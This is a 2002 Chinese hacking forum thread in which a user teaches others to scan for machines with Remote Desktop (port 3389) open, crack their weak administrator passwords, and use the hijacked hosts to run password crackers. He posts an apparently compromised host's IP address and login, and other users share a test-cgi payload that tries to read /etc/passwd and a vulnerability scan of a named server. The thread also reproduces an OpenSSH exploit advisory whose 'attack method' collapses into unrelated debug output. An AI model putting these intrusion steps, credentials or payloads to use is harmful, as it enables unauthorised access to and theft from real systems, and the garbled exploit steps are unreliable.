Bbinbinyouli2002-08-08 11:44
破网站密码, 基本是用暴力法, 挂个好字典, 然后就跑...
运气好, 很快得手, 要不, 一年也没反应.
另外是利用网站的漏洞入侵,....(这才是大家应该努力的方向,也有助于提高技术)
响应gumuzi的号召, 简单谈谈如何利用3389入侵.....
入侵可用到几个工具:
流光-----可扫描并破戒一段IP.
Shadow Security Scanner----较耗内存, 系统占用大. 但漏洞资料库齐全, 适合专门一个IP扫描.
Nmap-----UNIX下最好的扫描器.可用于UNIX系统的网站(实际上很多收费站用的是UNIX系统, 因为UNIX比WIN安全多了)
X-SCAN1.3----与流光类似.但可扫国内IP.
下面谈谈3389.
我们为何要利用3389呢?
3389 是WIN 2000 WINXP下的一个端口, 用在终端服务上.
终端服务是远程服务.通过终端我们可以连接到另一台机上,是图形界面的, 连上后就跟操作自己的机子一模一样.很爽的哦.
然后我们可以把AD之类的程序装在那台机上. 并运行.
之后断开连接,(当然你可继续连着, 欣赏AD的运行情况也行).
然后你就可下线, 或干别的事去.
过会你再连到那台机上看看密码出了没.
这就是你利用别的机子为你服务的过程. 是不是很省事省力省钱?
那具体怎么办?
首先扫描哪些网站或机子开了3389.
然后破戒那些弱智网站的ADMIN密码.(3389连接要有ADMIN权限)
具体可用X-SCAN1.3(流光也行)
把扫描PORT(端口)定为3389.
扫描类别:NT弱口令.
然后RUN... AND WAIT...
扫出弱口令后. 就可用终端连接上了...
这个漏洞
很就以前的东西了，不过挺管用的，用来做跳板和跑密码不错。谢谢binbinyouli，具体查出来后，如何继续利用可否继续向大家讲解一下，我们希望每个人都可以参与社团的活动，而不是集中在几个人身上，这样大家都有提高，都有兴趣，而不会让几个人太累，这里还要谢谢arfeng最近的优秀表现。
Bbinbinyouli2002-08-10 00:06
可能我没说明白...
我不是讲如何利用中文版WIN2000的输入法漏洞.
那很古老了.
我是讲如何利用3389肉鸡来为我们服务.
因为我们可用肉鸡来跑AD之类的工具... 省事省力省钱!
注意这一段:
那具体怎么办?
首先扫描哪些网站或机子开了3389.
然后破戒那些弱智网站的ADMIN密码.(3389连接要有ADMIN权限)
具体可用X-SCAN1.3(流光也行)
把扫描PORT(端口)定为3389.
扫描类别:NT弱口令.
然后RUN... AND WAIT...
扫出弱口令后. 就可用终端连接上了
可能大家没用过3389终端服务, 我提供一个台湾3389鸡:
211.22.100.140
guest:5678
已装AD.
大家登陆上后不要破坏鸡上的文件....
Bbinbinyouli2002-08-10 00:15
TO:wind119
要知道怎么用bug, 最好的办法是先用漏洞扫描器, 如前所说的流光,X-SCAN1.3,Shadow Security Scanner,Nmap...
我估计你还没用过这些工具..
你使用后发现漏洞百出我再告诉你如何利用.
像IPC$漏洞是非常常见的..
...
还有...
我发现这里的朋友对入侵不是很了解...
如果大家有兴趣, 我会继续讲...和大家共同探讨.
哈哈！！！
除了你说的前两个没有用，简单的入侵还是进的去的，而且我可以给你工具，让你去找肉鸡，这个没社意思。
谢谢！！
虽然还是不懂怎么用，但也学习知道了一点。
谢谢！！
请写具体点，
如何登陆：
http://guest:5678@211.22.100.140:3389
是这样登陆？ ^_^
Bbinbinyouli2002-08-10 07:17
win2000照样有漏洞。。。
UNIX 下的漏洞你想知道哪个？
SNMP？ TTDBSERVER？ STADTX？
给你看个新漏洞：
OpenSSH Vulnerabilities in Challenge Response (APP,缺陷)
涉及程序：
OpenSSH versions 2.3.1p1 ~ 3.3
描述：
OpenSSH缺陷允许攻击者远程利用/非法执行任意代码(更新)
详细：
在OpenSSH 2.3.1p1到3.3版本中，关于挑战反应处理代码存在安全性缺陷。允许远程入侵者
以sshd(通常是root)进程的身份执行任意指令。
第一个缺陷是因为在挑战反应认证过程中，OpenSSH在处理关于收到的响应次数的变量上存在
整型溢出风险，如果挑战反应设置为打开，并且系统使用SKEY或者BSD_AUTH认证选项，则允许
攻击者利用此缺陷远程执行任意指令。这个漏洞已经被证实。
第二个缺陷牵涉到使用交互式键盘认证的PAM模块, OpenSSH 2.3.1p1~3.3版本。OpenSSH在处
理关于收到的响应次数的变量上存在缓冲溢出风险，不论挑战反应设置如何，系统使用交互式
键盘认证的PAM模块(PAMAuthenticationViaKbdInt)，可能会导致允许远程非法执行指令的风
险。目前尚未有代码证实是否能达到攻击效果。
对这两个缺陷的攻击，都建立在使用SSH ver2的版本特征上。
多个Linux/Unix平台受该漏洞影响。
多个Linux组织和厂商为此发布安全公告。
攻击方法：
1. 下载 openssh-3.2.2p1.tar.gz 并解压
~ $ tar -xvzf openssh-3.2.2p1.tar.gz
2. 执行提供的补丁: (将下方段落存为补丁文件)
~/openssh-3.2.2p1 $ patch server aes128-cbc hmac-md5 none
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug1: dh_gen_key: priv key bits set: 124/256
debug1: bits set: 1626/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1597/3191
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user jdog service ssh-connection method none
debug1: attempt 0 failures 0
debug1: Starting up PAM with username "jdog"
debug1: PAM setting rhost to "localhost.localdomain"
Failed none for jdog from 127.0.0.1 port 33208 ssh2
debug1: userauth-request for user jdog service ssh-connection method
keyboard-interactive
debug1: attempt 1 failures 1
debug1: keyboard-interactive devs
debug1: auth2_challenge: user=jdog devs=
debug1: kbdint_alloc: devices 'skey'
debug1: auth2_challenge_start: trying authentication method 'skey'
debug1: got 2 responses
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x08053822 in strcpy ()
(gdb)
Bbinbinyouli2002-08-10 07:22
用终端登陆
http://www.heibai.net/download/show.php?id=2364&down=1
在这儿可下载终端客户端。
打开后连接
binbinyouli,谢谢妳!
这段时间我事情比較多,沒能好好为大家服务,多亏你给大家带来那么多的知识,谢谢!
wind119,这里本来就是为广大菜鸟服务的,很多人不了解系统入侵的知识这也很正常,但是我们求知的热切希望和付出的努力是真诚的,你能在这里找到乐趣我非常高兴,如果你觉得没意思我也无法強求,但请你尊重我们的论坛. 谢谢!
only like,but you know,that's too danger!
3389漏洞必须是国内的主机有输入法漏洞才行，这在时间上和我们冲突，我们在用漏洞，对方在计算机前面怎么办？
而且，要找这样能够24小时不关机的服务器比较困难。
这几天我也在看这方面的书，3389确实是个好漏洞。而且利用非常简单，不存在操作上的障碍。
对了，你上次给我的那个肉鸡，我因为还没弄明白就暂时没用。前两天发现已经就死掉了：（ 能不能再给一个？
另外，你是这个论坛少有的几个真正懂技术的。能不能抽空就一个具体的例子，写个利用简单的UNIX或LINUIX漏洞入侵的教程？先谢谢了！！！
古木子
 |
Bbinbinyouli2002-09-05 18:26
一点都不DANGER
3389确实是个好漏洞？
错。 3389不是漏洞， 是远程管理。
3389漏洞必须是国内的主机有输入法漏洞才行？
对。
但是3389输入法漏洞早被补上了。
没有漏洞我们就不能得到3389鸡？
错。
我们找弱口令的3389不就OK?
我上文已说的很清楚怎么找弱口令的3389。
可能大家没用过3389终端服务, 我提供一个台湾3389鸡:
211.22.100.140
guest:5678
还能用
简单的UNIX或LINUIX漏洞入侵的教程？
UNIX的入侵比较复杂，有兴趣我会和大家交流学习。
help me!!thank!
老大, 讲讲怎么利用test-cgi漏洞，拿到passwd，htpasswrd.很多好站都有此
漏洞。
我用http://thegnome.com/cgi-bin/test-cgi?＼help&0a/bin/cat%20/etc/passwd 没成功。
我觉得可能路径不对。
GET方式又不会用，好像可用HTML 编一个，老大怎么把GET/cgi-bin/test-cgi?/*编进去？？
谢谢老大能抽空指点。
想学 的朋友也帮忙求求老大吧。
我们学会也有能力多帮助别人。再一谢谢老大能抽空指点
顺便问一句，俱乐部bbs发新贴的在哪？？
to:net1717
首页最下面，http://999.coolcity.com.cn/
古木子
|
to binbinyouli
我的意思是请你介绍一个UNIX站的入侵过程
利用的漏洞简单一点，主要是介绍思路、相关命令以及工具
古木子
|
另外，给大家补充一下
使用3389端口需要安装“终端服务客户端”
然后连接IP，就可以看到NT的登陆界面
古木子
|
要听啊。
我不是搞计算机的，但是有想法到计算机行业来，对于一切我还不知道的东西我都有兴趣啊。binbinyouli加油，我是忠实的听众哈。
我只对怎么用木马了解的较多，对于漏洞吗？呵呵，真的都好麻烦，呵呵！上面的多教点啊，谢谢了
谢谢提供3389知识！
211.22.100.140 连上后 返回 终端伺服器超过最大连接数目 又断开了。这是为什么？
211.22.100.253 也开了3389。
还有这么多的CGI漏洞.
WEB版本信息: Microsoft-IIS/5.0
扫描成功CGI漏洞
/scripts/samples/search/simple.idq (HTTP: 200 )
/scripts/samples/search/queryhit.idq (HTTP: 200 )
/scripts/samples/search/query.idq (HTTP: 200 )
/scripts/samples/search/qsumrhit.htw (HTTP: 200 )
/scripts/samples/search/qfullhit.htw (HTTP: 200 )
/scripts/samples/search/filetime.idq (HTTP: 200 )
/scripts/samples/search/author.idq (HTTP: 200 )
/iissamples/issamples/oop/qsumrhit.htw (HTTP: 200 )
/iissamples/issamples/fastq.idq (HTTP: 200 )
/iissamples/exair/search/qsumrhit.htw (HTTP: 200 )
/iissamples/exair/search/qfullhit.htw (HTTP: 200 )
/iissamples/issamples/query.idq (HTTP: 200 )
/iissamples/issamples/oop/qfullhit.htw (HTTP: 200 )
/iissamples/exair/search/search.idq (HTTP: 200 )
/iissamples/exair/search/query.idq (HTTP: 200 )
/abczxv.htw (HTTP: 200 )
/blabla.idq (HTTP: 200 )
/*.ida (HTTP: 200 )
/*.idq (HTTP: 200 )
想找个exploit弄个帐号，在网上搜了半天也没搜到。
binbinyouli大哥，这CGI漏洞怎么弄啊？那里有好的CGI漏洞exploit资源？？
另， 有/cgi-bin/printenv的站点 也很普遍。这好像是用溢出，这个CGI漏洞怎么弄啊！！
这里先谢谢了。
Bbinbinyouli2002-09-06 04:39
xxx站很少有test-cgi漏洞
211.22.100.140 连上后 返回 终端伺服器超过最大连接数目 又断开了
是因为连接的pc(人)太多了。
binbinyouli大哥，这CGI漏洞怎么弄啊？那里有好的CGI漏洞exploit资源？？
用流光扫描。或x-scan2.0